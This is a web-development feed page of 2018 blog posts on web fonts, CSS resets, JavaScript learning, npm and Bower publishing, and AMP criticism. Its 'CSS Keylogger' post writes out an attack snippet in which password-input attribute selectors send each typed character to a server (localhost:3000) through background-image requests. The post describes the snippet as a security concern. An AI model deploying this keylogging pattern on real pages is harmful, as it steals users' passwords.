Web Standards

Understanding Web Fonts and Getting the Most Out of Them

Css Tricks - Fri, 02/23/2018 - 4:42am

Thierry Blancpain is a brand and interaction designer at Informal Inquiry in New York City and co-founder of Grilli Type, a Swiss type foundry. While this article is generally applicable to all web fonts, Grilli Type fonts are used throughout as examples of the concepts, particularly those demonstrating OpenType features.

Using your own fonts instead of system fonts is getting easier, but it’s still an evolving field. We’ll go over the different types of font formats and cover tips and best practices for them in this post. We’ll also dive into more in-depth features for those of you who want to level up and aim to perfect the craft with advanced concepts and considerations when using web fonts. In the end, you’ll hopefully feel equipped not only to put web fonts to use but to get the most out of them.

Here we go!

Font Formats

When you purchase web fonts licensing, you receive a package of font files that typically include at least some of the following formats:

  • Embedded OpenType (EOT): EOT is a legacy format developed by Microsoft. Older Internet Explorer versions require EOT to render your web fonts. EOT is often served uncompressed so, if you don’t require browser support of the likes of IE8 or below, then you’re better off leaving it out.
  • TrueType (TTF): TTF is a font format developed by Microsoft and Apple in the 1980s. Modern TTF files are also called TrueType OpenType fonts. TTF can be useful for extending support to some older browsers, especially on mobile, if you need it.
  • Web Open Font Format (WOFF): WOFF was developed in 2009 as a wrapper format for TrueType and OpenType fonts. It compresses the files and is supported by all modern browsers.
  • Web Open Font Format 2 (WOFF2): WOFF2 is an update to the original WOFF format. Developed by Google, this is considered the best format of the bunch because it offers smaller file sizes and better performance for modern browsers that support it.

If you are mostly targeting users with modern browsers, you can get away with a progressive method of using @font-face that only serves WOFF and WOFF2 formats. These offer the best compression and allow you to deal with fewer files in your code. And if a user’s machine is so old that it doesn’t support either of these formats, it may be better to just serve them a system font for performance reasons, anyway.

If you want to expand support as wide as possible, then add EOT and TTF files to the mix. SVG fonts have also been traditionally used for expanding browser support but, at Grilli Type, we don’t offer SVG fonts anymore as they bring with them a number of downsides. Google Chrome for example has even completely removed support for the format.

Embedding Web Fonts

We make use of @font-face to include fonts in CSS.

Here’s the deepest level of support, including all of the font file formats we’ve discussed so far:

@font-face { font-family: FontName; src: url('path/filename.eot'); src: url('path/filename.eot?#iefix') format('embedded-opentype'), url('path/filename.woff2') format('woff2'), url('path/filename.woff') format('woff'), url('path/filename.ttf') format('truetype'); }

We can trim things down quite a bit if we're only aiming to support modern browsers:

@font-face { font-family: FontName; src: url('path/filename.woff2') format('woff2'), url('path/filename.woff') format('woff'); }

Once the font has been declared and defined, we can put it to use on our elements. For example:

body { font-family: 'FontName', Helvetica, Arial, sans-serif; } Hosting Web Fonts

One of the most flexible ways to load web fonts is to self-host them. That means that you host the files on your own server and your fonts will always be available when a visitor comes to your website without a third-party dependency. Neither tracking codes nor JavaScript is generally required to load self-hosted font files. Many small type foundries offer fonts as a direct download so they can be self-hosted and at Grilli Type, we are convinced it’s the best way to serve fonts.

While some type foundries offer self-hosting (both with and without cumbersome restrictions and requirements), others only offer hosted solutions, meaning they host the files on your behalf. Some of the well-known ones include Hoefler & Co., Font Bureau, and Typotheque. Font Bureau and Typotheque offer their fonts in both ways at different price points.

Make sure you know how a type foundry’s web fonts are offered before you buy licensing, because the difference in hosting and the terms of use can affect how they are implemented. Get what makes the most sense for you and fits your needs, and make sure you’re using them legally and according to the foundry’s licensing agreement.

Advanced Typographic Features

Let’s take a look at some of the more advanced features of web fonts.

Spacing and Kerning

There are two settings inside font files that define the space between characters:

  1. letter-spacing: This is defined as side bearings on the left and right side of each character
  2. font-kerning: This refers to specific adjustments between two characters

Spacing cannot be turned off at all, because otherwise the text rendering engine (your browser) wouldn’t know what to do with these letters. Kerning, on the other hand, is turned off by default in browsers and has to be turned on by you in your CSS.

Comparing type with kerning enabled and disabled.

It’s easier to control kerning than you might think! Here’s how to activate it across all browsers that support it:

p { font-feature-settings: "kern" 1; font-kerning: normal; }

If you don’t use a something like Autoprefixer to help manage browser support in CSS, then you’ll want to manually write out the browser vendor prefixes for this setting to extend browser support to older versions:

/* All vendor prefixes for `font-feature-settings` */ p { -moz-font-feature-settings: "kern" 1; -ms-font-feature-settings: "kern" 1; -o-font-feature-settings: "kern" 1; -webkit-font-feature-settings: "kern" 1; font-feature-settings: "kern" 1; font-kerning: normal; } Advanced OpenType Features

We just discussed how to use the font-feature-settings attribute to control kerning, but it can also be used to control other available OpenType feature in your web fonts. The number of supported features has been growing over time and the CSS-Tricks almanac is a good place to reference what is possible with OpenType.

OpenType features are really exciting because they open up a bunch of possibilities for controlling fonts without having to serve multiple files to get the same effect. At the same time, it’s worth noting that the features an OpenType font file supports is up to the font designer and that not all fonts support the same features.

To illustrate how advanced OpenType features can be chained together, the following code would turn on the numeric characters of an OpenType-enabled font that supports both old-style numerals (onum) and proportional numerals (pnum), plus enable kerning and activate a specific stylistic set included in the font:

.my-element { font-feature-settings: "onum" 1, "pnum" 1, "kern" 1, "ss01" 1; } Type with and without the activated OpenType features in the code example.

The font-feature-settings attribute can be used to activate stylistic alternates, discretionary ligatures, different types of figures available in a font, small caps, and other handy things. Typofonderie has a nice overview of these advanced features, including examples.

Because font-feature-settings is used to set many OpenType features at once, it’s not possible to define a single setting differently as the other choices will not be inherited. All of the features would need to be defined again to change the settings for child elements.

Letting Spacing and Word Spacing

CSS has long supported the letter-spacing and word-spacing attributes. When used correctly, both provide a fair amount of control over two very important aspects of how your type will look.

As with all things typography, you’ll want to learn how to evaluate different options both functionally and visually and make decisions based on your impression. Different contexts may call for different spacing needs.

At smaller sizes, most typefaces will benefit from a little extra spacing between characters and words. In larger contexts, like headings, typefaces may benefit from more narrow spacing. In either case, the right decisions require attention and your best judgment based on the outcomes.

I’ve found that letter-spacing and word-spacing both work best using em units for the values. That allows the spacing to adjust fluidly based on the font size of the element they are applied to. The following example will give your content a little more room to breathe at smaller font sizes:

p { font-size: 12px; letter-spacing: 0.015em; word-spacing: 0.001em; } Comparing the difference with letter and word spacing turned on and off. Font Rendering

Using type on screens brings up important questions about how they are rendered. Fonts are usually designed on about a 1000 units tall grid—or even larger—but then are displayed at something like a 16px font size. In an interplay between device, screen, and software, this reduction in resolution and fidelity requires some smarts to make small type legible and good-looking. Again, be observant, test in many browsers, and use your best judgment to put the best methods to use to increase legibility.

Hinting

Every operating system treats fonts differently from one another. In MacOS, the smarts are in the operating system (and thus can evolve over time), while the fonts themselves can be dumb. Historically, on Windows, the smarts were supposed to be included in the font software, and the system was supposed to use those smarts to decide how a font should be rendered at different sizes.

Those smarts are called hinting. Hinting information embedded in the font files can tell a computer that the two stems of an “H” character are supposed to have the same line width, or that the space above and below the crossbar should stay about equal at smaller sizes.

Hinting is a very complex and complicated topic, but the important takeaway is that the same font at the same size might render differently, even on the same computer depending on many factors, including the screen, the browser, and even the font and background color.

Microsoft provides a guide on the topic of hinting. Even though it was initially released in 1997, it’s still a good read because it so thoroughly explores the topic.

Font Smoothing

While hinting information included in the font files is mostly being ignored on MacOS, specific browsers offer some additional control over font rendering.

p { -webkit-font-smoothing: antialiased; /* Chrome, Safari */ -moz-osx-font-smoothing: grayscale; /* Firefox */ }

Using these CSS properties leads to sharper, thinner text rendering on MacOS and iOS. But beware: this can also lead to rendering problems, especially if you’re already using a thin font or font weight.

Both antialiased and grayscale are mainly useful to balance the rendering of fonts when using light text on dark backgrounds, as they would otherwise get rendered quite a bit bolder.

The font-smoothing property and its values are not on the path to become a standard CSS feature, so use it with caution and perhaps only in contexts where you know you need to target a specific browser and context.

Caution: OptimizeLegibility

We often come across this attribute when troubleshooting font usage on Grilli Type customer websites:

p { text-rendering: optimizeLegibility; }

Among other things, it activates kerning. That was very useful at some point, but is not needed anymore (as shown above). In addition to kerning, it also activates all kinds of ligatures, including extravagant ones that may be present in the font files.

Although there are some use cases for this, do not use this feature if you don’t know exactly what you’re doing with it. Chance are you don’t need it in the first place.

Web Font Resources

If you’re ready to dive deeper into web fonts, here are a handful of recommended resources you can use to learn more:

  • Clagnut’s OpenType CSS Sandbox by Richard Rutter: A great place to test out OpenType features and easily put together your required CSS code.
  • Webfont Handbook by Bram Stein: This is the most in-depth e-book you can possibly read on web fonts, font rendering, and font performance.
  • Copy Paste Character: This is a great website that allows you to access pretty much any special character you might ever use.
  • Using @font-face by CSS-Tricks: This article includes snippets for declaring web fonts based on varying browser support.
Advanced Web Font Considerations

For those who are ready to level up to more advanced techniques, here are even more considerations to take into account:

Uploading Licensed Fonts to Github

If you commit a project to a public repo and use font files that you have licensed, please make sure that either the fonts or the directory that contains them is included in your .gitignore file so that they do not get uploaded. This will prevent others from taking and using your font files, and it can prevent you from breaking any terms of use for licensed fonts that usually have usage and sharing restrictions.

.DS_Store path/to/web/fonts/folder/* Font Loading Tactics

Loading web fonts can be as easy as simply using @font-face but that doesn’t necessarily offer the best possible performance. For example, it opens up the possibility of a Flash Of Unstyled Text (FOUT) which might be considered poor UX in some cases. Zach Leat’s “A Comprehensive Guide to Font Loading Strategies” covers that and methods to improve the loading experience that will make you and your users very happy.

Base64-Encoded Font Files

In some rare instances, encoding your fonts as base64 inside your CSS will be a good idea but, generally, it is not—and, not to mention, you might break your font’s licensing agreement in the process. Be sure to proceed with a lot of caution and read up on your font’s terms of use when considering base64.

CSS Text Decoration

The W3C is working on a draft for new controls for text decoration, mainly dealing with how to make underlining text better and easier in CSS. This is not yet usable across all browsers, but have a look!

Variable Fonts

In 2017, the OpenType fonts specification 1.8.2 was released, allowing for what is called Variable Fonts. This new version of OpenType will allow for the inclusion of multiple font styles into a single font file, reducing server requests and web font file sizes. Depending on the type designer’s choices, it may also allow for the use of arbitrary weights in between existing weights and widths of fonts, among other things. Axis Praxis is a good website to play around with some existing test fonts – you will need a recent version of Safari or Chrome to do so, though.

Wrapping Up

We covered a lot in this article! Hopefully now you have a good understanding of the different font files out there, how to work with them, and all the amazing and powerful ways fonts can be styled using both tried and true methods and cutting-edge features.

Understanding Web Fonts and Getting the Most Out of Them is a post from CSS-Tricks

modern-normalize

Css Tricks - Thu, 02/22/2018 - 12:26pm

Another don't call it a reset from Sindre Sorhus. It's a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I'm good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you're interested in some of the history and thinking behind these things, I wrote about that not long ago. Daniel Box made a little tool to compare them and I forked it to include modern-normalize.

Direct Link to ArticlePermalink

modern-normalize is a post from CSS-Tricks

CSS Keylogger

Css Tricks - Thu, 02/22/2018 - 12:26pm

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input"); inp.addEventListener("keyup", (e) => { inp.setAttribute('value', inp.value) });

How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.

Direct Link to ArticlePermalink

CSS Keylogger is a post from CSS-Tricks

Variable Order

Css Tricks - Thu, 02/22/2018 - 5:25am

A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It's a combination of inline CSS custom properties, the order property, and calc().

This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinking they've sorted the table when they haven't. Rachel Andrew pointed out that it's actually one of the rare things the spec itself tells you not to do:

Authors must use order only for visual, not logical, reordering of content. Style sheets that use order to perform logical reordering are non-conforming.

As a connoisseur of fine CSS trickery, I applaud the idea. In production, still a job for JavaScript. And about that order property? Is it always a bad idea to use? Amelia Bellamy-Royds has a post with a pretty good use case. And Adrian Roselli's HTML Source Order vs CSS Display Order covers the struggle.

Direct Link to ArticlePermalink

Variable Order is a post from CSS-Tricks

Some Things I Recommend

Css Tricks - Thu, 02/22/2018 - 5:12am

Howdy. I'm taking this week's "Sponsored Post" to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I'm happy going on the record endorsing.

  • PixelSnap: A macOS Toolbar app for getting pixel dimensions from anywhere on the screen. Way handier than trying to use ?-?-4 for that.
  • An Introduction to Gutenberg by Joe Casabona: We just had a ShopTalk episode about how Gutenburg (a new editor) is coming to WordPress. There is certainly stuff to learn, and this is a course you can take to do that learning.
  • React for Beginners: Speaking of learning, this Wes Bos course will get you up to speed with React. Wes has loads of other great courses as well, like on Redux, Node, ES6, and CSS Grid.
  • Learn UI Design: Learn how to design effective user interfaces with Erik Kennedy.
  • Club GreenSock: The best animation framework out there. Once you're a member, you get access to use stuff like the MorphSVG plugin and their new GSDevTools.
  • Amazon List: I made a little storefront of some items I love and use all the time.
  • WP DB Migrate Pro: I think this is my favorite WordPress plugin. I like to work on my WordPress sites locally, and I always want a fresh copy of the database from production so I'm designing and developing around reality. This makes it a push-button affair.
  • Jetpack: I'm also a fan of all the things Jetpack does for my WordPress site. It kinda seems like a big scary monolithic plugin, and in a sense it is, but you can easily flip features on and off as you need them. I should do a whole post on what I use, but for starters, Markdown-everywhere, social media posting, commenting improvements, handling subscriptions, increased security, and actually-good related posts.

Some Things I Recommend is a post from CSS-Tricks

Write A UX Proposal: How-To Guide

Usability Geek - Wed, 02/21/2018 - 12:18pm
User Experience design is big business, and there is money to be made. In fact, Andrew Kucheriavy reports in Forbes that on average, the return on investment for user experience is 9,900%. In...
Categories: Web Standards

The JavaScript Learning Landscape in 2018

Css Tricks - Wed, 02/21/2018 - 4:15am

Raise your hand if this sounds like you:

You’ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, "It’s time for something new, for the next step in your career. You need to learn programming."

Yep, same here.

I’ve served in a variety of roles in the tech industry for close to a decade. I’ve written a bunch of articles on design, coding, HTML, and CSS. Hell, I’ve even written a few books and spoken at conferences around the world. But there’s still that voice that keeps telling me I need to tackle programming; that I’ll never be fulfilled until I learn how to develop my own ideas and projects from scratch. Being a web guy, the obvious language to learn: JavaScript.

Like a lot of people, though, I’m intimidated by the current JavaScript landscape. With the constant influx of new tools, techniques, and frameworks, it’s hard to figure out where and what to start learning. Still, I need to start somewhere. So I thought a review of learning resources and tools would be a good first step.

The Burden of Information

How about this, does this sound familiar, too?

You’ve attempted to learn programming before with a few different languages. You’ve read books, you’ve subscribed to online courses, and you have a bunch of folders littering Dropbox with half-completed code and copied exercises.

Samesies.

I’ve gotten halfway through The Rails Tutorial and Learn Python The Hard Way. My bookshelf is full of massive tomes on everything from ActionScript to Processing. But nothing ever seems to stick.

I can figure out what a PHP file does and understand a bit of jQuery, but if you asked me to sit down and write the most basic of programs, I’d be hard-pressed to do it. After so many failures, I think I’ve figured out the problem.

Any time I start learning something new, I immerse myself as fully as possible in that topic. I buy books, I watch videos, and I listen to podcasts. It’s the same tactic that a lot of companies push as the best way to learn a new topic, whether it’s programming, cooking, or picking up Mandarin in a weekend. Immersion is a key part of learning, apparently.

But the problem is that people (or at least me) have a threshold for how much information they can process before feeling overwhelmed. I call it the "burden of information." Information is wonderful, but too much of it weighs down the mind, leaving you burnt out and hopeless, and leading you to give up and feel like a failure.

I don’t want this attempt to be like all the others. I know that I need to immerse myself in JavaScript but I don’t want sink into the quicksand of the JS world only to suffocate myself. So I decided to review the JavaScript learning landscape and pick out a few resources—but not too many—that I can use to finally scratch the programming itch.

I broke resources out into four categories, based around the different ways that I like to learn (and I suspect others like to learn, too). Those categories are: reading, watching, listening, and, most importantly, doing.

Here’s what I found.

Reading

My favorite way to learn new things is by reading about them. While that mostly means books, I also love filling up my RSS feed with good blogs and my inbox with great newsletters.

Books

Fortunately for me, there are a ton of acclaimed books about JavaScript. Here are some of the most recommended:

When I was attempting to learn Python, my favorite resource was Zed Shaw’s Learn Python The Hard Way. It was a no-BS approach to learning by actually coding. While he has a similar book about JavaScript in the works, it’s not available yet.

The closest I could come to it was Eloquent JavaScript by Marijn Haverbeke. From what I’ve heard, it’s a wonderful introduction to JavaScript and, looking at the contents, it appears to follow a similar approach as Zed’s Hard Way books: starting off with the nuts and bolts of the language and progressively getting more challenging as more advanced concepts and projects are introduced.

All of the other books in my list look excellent but most seem a bit too advanced for where I am right now. The two exceptions are Jon Duckett’s JavaScript and jQuery and Mat Marguis’ JavaScript for Web Designers. I loved Jon’s book on HTML and CSS but don’t feel like the visual approach used in his books will work for more complex topics (at least for me). And Mat’s book looks like it addresses my use case perfectly but seems like it won’t be in-depth enough for longer term learning. Still, as I have most of the other A Book Apart books, I’ll probably supplement Eloquent JavaScript with JavaScript for Web Designers.

I’m sure there are a ton of other fantastic books on JavaScript out there, but those will have to wait until after I finish my chosen book. Remember, I want good information, but not too much of it right away.

Blogs

Holy crap, there are a ton of blogs out there on JavaScript. It actually makes figuring out which ones are good kind of tricky. I’m open to any suggestions you might have (leave them in the comments!) about who I should follow, but my initial take is that these are a good place to start:

There are a bunch more that I came across but most seem too complex at this point in my learning. Or others belong to individuals that talk mostly about their own projects and less about the basics or the process of learning. I’ve bookmarked all of them, though, to dig into once I’m more up-to-speed.

Newsletters

I’m an unabashed lover of HTML newsletters, as evidenced by my previous writing on the subject. So, naturally, I hunted down a couple to subscribe to:

But I get the sense that there are more out there that I just couldn’t find. I mean, there’s a newsletter for damned near any topic. With JavaScript being so popular, there have to be more than the two newsletters I found above. If you have any tips, send them my way via the comments below.

Watching

Another good way to learn is by watching others do the thing you want to do. But this is almost always secondary to me reading to learn. Still, when I get stuck on a topic or want to dig deeper into certain aspects of coding, watching videos will be a good way to do it.

For the most part, there are two categories of videos online: courses and standalone videos (mostly on YouTube). There are a ton of options for both, but these are the best from what I can tell:

I’ve heard amazing things about Wes Bos’ courses, so I’m going to dig into those at some point. The same goes for both The Coding Train and Fun Fun Function. But again, I don’t want to be overwhelmed, so I’m planning on setting all of those aside for after I work my way through *Eloquent JavaScript*.

Listening

Podcasts are an excellent way to learn about concepts and immerse yourself in a particular culture without needing to be actively tied to a screen. Basically a good way to keep learning while I get the dishes done or pick up after my kids.

But, like with email newsletters, I found it difficult to track down good JavaScript podcasts. Looking around, it seems like there are a ton out there but most are inactive and outdated. I came up with the list below but I’m hoping that y’all can point out a few more to add to my podcasts feed.

Doing

The last, and arguably most important, part of learning JavaScript is the actual doing part: writing code, getting it to work, and repeating.

Like I mentioned at the beginning, I’ve been writing HTML and CSS (and playing around with other technologies) for years, so I’m a bit biased on some of my tools. I mostly work with Sublime Text on my Mac, so I plan on sticking to that for writing code locally. But, as I’ve been working more on my iPad Pro lately, I’d like to augment Sublime Text with a few additional tools for writing and testing code while I’m learning.

The main one will be CodePen. I’ve been a Pro subscriber for a while and find that it’s tremendously useful for writing code no matter what platform I’m using. Since it works in the browser, it’s easy to pop open a pen on my iPad while I’m hanging out at the coffee shop and have a full-fledged JS development environment ready to go. It also has a few features that I’m sure will come in handy at some point: private pens and collections for when I want to keep embarrassing code secret, projects for when I want to work on more substantial stuff and have it hosted somewhere without any pain, and collaboration mode for if I ever need to tap some friends to help me out with some tricky code in realtime.

I looked at other tools like JSFiddle and JSBin, but I’m comfortable in CodePen and their features are killer, so I’m sticking with it.

One other online tool that I plan on using at some point is Glitch. It's a relatively new tool for writing code and sharing it online and has a wonderfully eclectic community that’s built up around it. While I think most of my coding will be done in CodePen or locally in Sublime Text, I think Glitch will be vital when it comes time to learn about more complex things like interacting with APIs, making weird bots, and testing out some of those scary frameworks.

My Learning Plan

So, taking into account all of the resources above, here’s what I’m planning on doing to learn the basics of JavaScript over the next few months:

  • Work through Eloquent JavaScript
  • Code locally in Sublime Text but primarily online with CodePen
  • Keep up with news via the blogs, newsletters, and podcasts I found
  • Dive into JavaScript 30 and ES6 for Everyone after I’m done with Eloquent JavaScript
  • Start working through the videos and books listed above after I’m done with Wes Bos’ tutorials
  • Build some (hopefully) cool stuff in the process

One of the most important aspects of learning, though, is getting feedback on what you’re actually doing. For that, I’m going to be calling on a few friends and anyone reading this who wants to pitch in.

I’ve set up a new collection on CodePen to house my JavaScript projects throughout the learning process. I’ll keep that collection public so that anyone can see what I’m doing, fork examples, and school me on the best way to do things. If that sounds like your bag, then follow along on CodePen.

Finally, if you have any other resources or strong opinions on the ones I’ve listed above, let me know in the comments below. I’m sure a lot of you have been through a similar learning process and have some amazing tips you can share. I’d love to hear from you, so drop some knowledge right here on CSS-Tricks or email me.

The JavaScript Learning Landscape in 2018 is a post from CSS-Tricks

5 Ways To Integrate Motion Into Web Design

Usability Geek - Tue, 02/20/2018 - 1:22pm
The first animated movie created in 1906 was a revolutionary step forward in storytelling. Every year, the technology behind motion in storytelling grows more impressive, and the same will remain...
Categories: Web Standards

Gotchas When Publishing Modules in npm and Bower

Css Tricks - Tue, 02/20/2018 - 4:21am

Bower and npm are de-facto the package managers of the web. I doubt there are many front-end developers out there who haven’t heard of them or used them to manage dependencies.

Whilst many of us use them as consumers, one day you might decide to share a project of your own and become a contributor! This happened to me recently. I had the experience of publishing my open-source library on npm and Bower.

Although their official docs were quite good, I still ended up struggling with three little known gotchas. I won’t focus on the basics in this post. You can always find and read about them. I’ll instead focus on the gotchas.

Nowadays, it looks like even Bower tells people not to use Bower. However, in 2018, there are still many projects that depend on it. The state of JavaScript in 2017 survey shows that around 24% of surveyed developers still use Bower as a package manager. Therefore, I think it might take a little while before we see the end of Bower, which means it's probably still worth supporting it to cover legacy-package-managed projects. I feel the pain of those of you working on a legacy project—that’s why I chose to publish my open source module there, too.

My hope is that after this you’ll be one step ahead when you decide to share your code with the world. Without any further ado, here are some gotchas I've come across when managing packages.

Removing a Package From npm

Why bother spending hours choosing a name, when you can focus on shipping the features first? In my first experience with npm, I was unfortunate to leave the name of my project "test-something."

Guess what? A few days later, I found out that the un-publish option in the npm public registry is only allowed with versions published in the last 24 hours. If you are trying to un-publish a version published more than a day ago then you must contact support.

They state that it is generally considered bad practice to delete a library that other people depend on. I understand that but I’m 100% sure that no projects depend on a package called "test something."

I was about to leave things alone, but my test package was going to be visible forever in my shiny npm user profile. Dislike!

I contacted support and they handled my request within the very same day. They still didn’t want to completely un-publish it but they did transfer it to the @npm user account and deprecated it with a deprecation note. This removed it from my profile (woohoo!) and from the search results. However, if someone knows the exact URL (or name) they can still install it. While that's not totally ideal, the deprecation note will still be an alert that the package is no longer supported.

I think this might be related to the 11 lines of code, that Azer Koçulu deleted from npm and which kind of broke the internet for a moment. Safety first.

The moral of the story: make sure to choose your package name wisely!

Exporting Modules

Another gotcha I encountered was how to export my module. I wanted to do it in a universal way so that anyone can import it to the browser in any of the three most popular approaches. For example...

...with ES6:

// If a transpiler is configured (like webpack, Babel, Traceur Compiler or Rollup): import MyModule from 'my-module';

...with CommonJS:

// If a module loader is configured (like RequireJS, Browserify or Neuter): const MyModule = require('my-module');

...or by referencing the script file in the HTML:

<script ="/node_modules/my-module/index.js"></script>

What I was actually looking for is the Universal Module Definition pattern. It's a pattern that provides a clean way to expose your module to different environments that consume modules in a variety of ways.

This pattern has a couple of variations, depending on what you really need. However, modules written this way are capable of working everywhere, be it in the client, on the server or elsewhere.

The standard pattern is:

(function (root, factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['dependency'], factory); } else if (typeof module === 'object' && module.exports) { // Node. Does not work with strict CommonJS, but // only CommonJS-like environments that support module.exports, // like Node. module.exports = factory(require('dependency')); } else { // Browser globals (root is window) root.returnExports = factory(root.dependency); } }(this, function (dependency) { // Use dependency in some fashion. return { // Your module goes here }; }));

If you're using Grunt, Gulp or webpack, you'll find that there is a plugin that can wrap your modules like this for you. Plus, it's in the core of webpack already!

Managing Distribution Files

This one was really tricky.

I am building a package for npm and Bower. I followed the pattern to keep the working files (ES6) in the src/ package directory and build my distribution files (ES5, compiled with Babel) in the dist/ directory.

I ignore the entire dist/ folder in the .gitignore file. You know the drill: source control should only contain source. If it's generated from the source, it doesn't belong there—it should be generated by your build process instead.

On the one hand (npm), I have a .npmignore which does exactly the opposite and ignores src/ instead of dist/. On npm, I only want my distribution files. That works out perfectly well.

On the other hand (Bower), the dist/ folder is missing in the repository and, therefore, the Bower package doesn't include it. You see, Bower tracks your publicly available Git endpoint only. By pushing Git tags you release a new version on the Bower registry. Yes, it can ignore files, but they are related only to the files in your repository.

So, how can I publish the ignored by git dist/ folder contents on Bower?

I'm not sure it's possible to do. The only workaround I found is to commit the distribution files in the repository. If you really want to keep those distribution files out of the repo, the trick is to commit them right before you release a tag. Release a tag. Remove them.

There is one more use case that gives me some peace of mind. Imagine somebody downloads a ZIP of your repository and drops it into their project. They won’t need your fancy build step. The production source is already there. All right, maybe that’s not so bad after all.

Wrapping Up

Both npm and Bower continue to be widely used and helpful ways to manage project dependencies, even if Bower is bowing out. While they're great at what they do, being the owner and a contributor to a package listed in either package directory presents some challenges for us and I hope the ones I've outlined here help save other some time and possible headache.

Do you know any other ways to handle the gotchas covered here? Or have stumbled into gotchas of your own? Let me know in the comments!

Gotchas When Publishing Modules in npm and Bower is a post from CSS-Tricks

Linkbait 37

QuirksBlog - Tue, 02/20/2018 - 1:46am

We are an equal opportunity linkbait. Last week we bashed Facebook; this week we bash Google.

  • Tim Kadlec on AMP — again.

    The web community has stated over and over again that we’re not comfortable with Google incentivizing the use of AMP with search engine carrots. In response, Google has provided yet another search engine carrot for AMP.
    This wouldn’t bother me if AMP was open about what it is: a tool for folks to optimize their search engine placement. But of course, that’s not the claim. The claim is that AMP is “for the open web.”

    The fact that Google tries to use our ideology is one thing. The fact that we continue to fall for it is quite another.

    Why a subset of HTML you ask? Well, mostly because web developers suck at their jobs and have loaded the web with a ton of JavaScript no one wants. Can't fault Google for wanting to change that. That part I can support. The less JavaScript the better.

    And here we’re back smack bang in the middle of the problem. Today’s average web developer doesn’t have the faintest clue what he’s doing and can’t do it anyway without sixteen libraries and frameworks. Solve that problem and AMP goes away.
    (Masculine pronoun used deliberately, and if there were a white pronoun I’d also have used it. I more and more think that frameworks and libraries are the things mediocre white men need to survive in today’s front-end world.)
  • It’s useful to post a repeat link to an older The Register article that calls for killing AMP before it kills us.

    Except that, hilariously, to create an AMP page you have to load a, wait for it, yes a JavaScript file from Google. Pinboard founder Maciej Ceg?owski already recreated the Google AMP demo page without the Google AMP JavaScript and, unsurprisingly, it's faster than Google's version.

    and

    If we reject AMP, AMP dies.

    In order to reject AMP we need to tone down significantly on the frameworks. Could happen, but right now it’s not happening.
  • Ferdy Christiant agrees with the performance findings. He studied AMP’s performance profile (supposedly its biggest advantage) and found that his test AMP page is not noticeably faster than a regular web page. Also, he found that AMP is effectively preloading assets for a better perceived performance. If your goal is to improve perceived performance, this is a clever idea. Ferdy adds, however, that this gives Google, owner of the world’s most important search, an unfair advantage, especially since it does not run this preloading trick on non-AMP pages, while I suppose it could if it wanted to.
  • Luke Stevens feels Google is forking the web. This is reinforced by the news that AMP will now get a JavaScript component as well; something that was purposely omitted so far. But it will of course be a special type of JavaScript that (only?) offers simple DOM methods that are ’sanitized” by the AMP app itself.
    In other words, a subset of JavaScript that will (surprise!) turn out to be not enough for AMP developers, who will either demand more and thus import the web’s performance problems to AMP, or leave AMP altogether, which leads to a win for the web.
    In any case, it makes it less and less clear what AMP is supposed to be a solution to. And people have tried and failed to fork the web so often that I am not terribly worried right now.
  • Mike Monteiro calls for some sort of licensing for designers. This is an interesting idea, but from experience with attempting the same on the front-end side I’ll warn him it’s an uphill battle. On the other hand, my attempt was more than ten years ago, and meanwhile the world has changed.
    While discussing this article I had an idea: how would designers and back-end developers feel about front-end certification? Would they think it’s a good idea?
    Designers who agree with Mike should ask themselves something similar: would developers care? Possibly, I’d say.
  • Patterns for writing manageable CSS without a framework. Simple, solid, sensible advice for managing your CSS. From a purely visual standpoint you can achieve the same by using a CSS framework, but

    My preference for manually writing layout styles is to reduce dependencies, write less-complicated markup (not littered with wrappers and generic class names), and retain the greatest control possible. By writing my own layout system, I can make exceptions for certain cases without relying on “overrides”. When there are edge cases, exceptions can be easily made without hideous hacks upon CSS written by someone else.

    Makes sense.
  • Turns out Mozilla created a JSON feed for browser compatibility data. Interesting idea; I toyed with it ages ago but was too lazy busy to actually implement it.
    As far as I know, except for individual MDN pages, there is no interface yet where you can easily access the information (yeah, I know I could write one myself, but time constraints, and my profound lack of experience with GitHub).
    Still, excellent idea, as long as the data is valid. I occasionally have beef with MDN data, and I also think they do not cover enough browsers. UC and Opera Mini, for instance, are missing. World wide web, remember?
    (Via Jens Grochtdreis)
  • A very neat trick: CSS-only sortable tables. Say again? CSS only? Yup.
    How? By clever use of CSS variables. Read and make your head explode with possibilities.
  • For the mobile history buffs among us: a long look back at the fall of Nokia during the tenure of Stephen Elop, drawn mainly from Finnish inside sources.
  • Have a tip for the next Linkbait? Or a comment on this one? Let me know (or here or here).

Information On Different Types Of People For Graphic Communication, Website And Information Designers

Usability Geek - Mon, 02/19/2018 - 10:43am
You are not the only one using your designs. Every day we use graphic communication design from reading letters which have come through the post, or the newspaper in the morning, to reading and using...
Categories: Web Standards

The Red Reveal: Illusions on the Web

Css Tricks - Mon, 02/19/2018 - 10:24am

In part one of a series of posts about optical illusions on the web, Dan Wilson looks at how to create the “Red Reveal” that he happens to describe like this:

Growing up, my family played a lot of board games. Several games such as Outburst, Password, and Clue Jr. included something that amazed me at the time — a red lens and cards with some light blue text that was obscured by a myriad of red lines. When you put the red lens over the card, the text would magically appear.

Here’s one example of that effect from a nifty Pen:

I’d also recommend reading part two in this series, Barrier Grid Animation, which uses a bunch of CSS techniques to trick your eye into seeing an animation of several static images.

Direct Link to ArticlePermalink

The Red Reveal: Illusions on the Web is a post from CSS-Tricks

My Talk Writing Process

Css Tricks - Mon, 02/19/2018 - 4:11am

